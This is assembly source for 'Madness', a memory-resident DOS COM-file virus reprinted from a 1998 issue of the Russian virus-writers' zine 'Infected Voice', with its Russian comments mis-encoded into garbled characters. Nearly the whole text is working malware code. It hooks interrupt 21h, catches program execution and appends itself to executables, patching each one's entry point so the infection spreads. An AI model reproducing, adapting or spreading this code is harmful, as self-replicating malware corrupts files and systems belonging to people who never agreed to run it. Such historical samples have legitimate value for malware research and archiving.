; INFECTED VOICE        ISSUE 98'09      (C)1994-98, by STEALTH group
; online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
;                                        mailto:noxyucT@usa.net

;
; TSR.COM  "Madness" (C)LordDark.
; ᠤ  ⠡ ஢.
; ࠦ  int21 func.4bh
; ᪨ ਠ.


.286p
Madness   Segment     '  ᬥ RC-2XX'
          Assume      cs: MadNess, ds:MadNess
          org         100h
Start:    db          'M'
          db          0E9h
          dw          My_start-$-2
          lea         dx, msg
          mov         ah, 9
          int         21h
          ret
msg       db          "Hello! I'am virus!!!",10,13,'$'
          org         200h
my_data:  db          4 dup (90h)
          db          'M'
          db          0E9h
Adr       dw          0
my_start: cld
          call        $+3
          pop         bp
          sub         bp, 4+(my_start-my_data)
          mov         ax, 0FA0Eh
          int         21h
          jnc         install
my_quit:  mov         ax, 100h
          push        ax
          mov         di, ax
          mov         si, bp
          movsw
          movsw
          xor         ax, ax
          cwd
          mov         bx, dx
          mov         cx, bx
          mov         di, cx
          mov         si, di
          mov         bp, si
          ret
install:  push        es
          xor         ax, ax
          mov         es, ax
          mov         di, 200h
          mov         si, bp
          mov         cx, VL
          rep         movs byte ptr es:[di],cs:[si]
          xchg        ax, word ptr es:[21h*4+2]
          mov         word ptr es:[Seg_21h], ax
          mov         ax, offset new_int_21h
          xchg        ax, word ptr es:[21h*4]
          mov         word ptr es:[Ofs_21h], ax
          pop         es
          jmp         my_quit
new_int_21h:
          pushf
          cmp         ax,0FA0Eh
          jne         no_call
          popf
          stc
          retf        2
no_call:  cmp         ah, 4bh
          je          check
detka:
          popf
          db          0EAH
Ofs_21h   dw          0
Seg_21h   dw          0
check:    pusha
          mov         di, dx
          mov         ax, ds:[di]
          or          ax, 2020h
          cmp         ax, 'iw'
          je          quit_detka
          cmp         ax, 'oc'
          je          quit_detka
          mov         ax, 3d02h
          int         21h
          jc          quit_detka
          xchg        bx, ax
          push        ds
          push        cs
          pop         ds
          mov         ah, 3fh
          mov         cx, 4
          mov         dx, 200h
          int         21h
          jc          close
          cmp         byte ptr ds:[200h],'M'
          je          close
          xor         cx, cx
          mov         ax, 4202h
          cwd
          int         21h
          or          dx, dx
          jne         close
          cmp         ax, 60000
          ja          close
          add         ax, (my_start-my_data)-3
          mov         word ptr ds:[Adr], ax
          mov         ah, 40h
          mov         cx, VL
          mov         dx, 200h
          int         21h
          jc          close
          xor         cx, cx
          mov         ax, 4200h
          cwd
          int         21h
          mov         ah, 40h
          mov         cx, 4
          mov         dx, 200h+4
          int         21h
close:    pop         ds
          mov         ah, 3eh
          int         21h
quit_detka:
          popa
          jmp         detka
VL        equ         ($-my_data)
MadNess   ends
          end         Start